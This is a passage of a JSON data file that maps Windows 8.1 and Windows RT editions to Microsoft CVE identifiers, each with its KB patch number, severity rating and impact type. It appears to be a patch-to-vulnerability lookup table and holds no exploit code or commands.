Feature Bypass"},{"cve":"CVE-2016-7255","kb":"3197874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012216","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012216","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0148","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041693","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054519","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022726","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025336","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038792","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0832","kb":"4074594","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0833","kb":"4074594","severity":"Moderate","impact":"Denial of Service"},{"cve":"CVE-2018-0886","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093114","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462926","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467703","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103725","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487000","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493446","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534297","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537821","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571703","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571703","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003209","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003209","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003671","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005613","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006714","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014738","severity":"Important","impact":"Remote Code Execution"}],"Windows 8.1 for x64-based Systems":[{"cve":"CVE-2016-3237","kb":"3177108","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197873","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3197873","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4012213","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012213","severity":"Critical","impact":"Remote Code Execution"}],"Windows 8.1 for x64-based systems":[{"cve":"CVE-2013-3893","kb":"2884101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901125","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3072307","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2509","kb":"3087918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3109560","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126434","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3146723","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3154070","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3185331","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-7255","kb":"3197874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012216","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012216","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0148","kb":"4012216","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019215","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041693","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4054519","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022726","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022726","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025336","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038792","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038792","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056895","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0832","kb":"4074594","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0833","kb":"4074594","severity":"Moderate","impact":"Denial of Service"},{"cve":"CVE-2018-0886","kb":"4103725","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088876","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093114","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8174","kb":"4103725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8410","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462926","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457129","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462926","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467703","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103725","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487000","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480963","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493446","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493446","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530702","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534297","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537821","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541509","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556846","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571703","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571703","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003209","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003209","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003671","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001382","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-40444","kb":"5005613","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006714","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014738","severity":"Important","impact":"Remote Code Execution"}],"Windows RT":[{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901119","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"}],"Windows RT 8.1":[{"cve":"CVE-2013-3893","kb":"2884101","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901128","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0010","kb":"3023562","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of 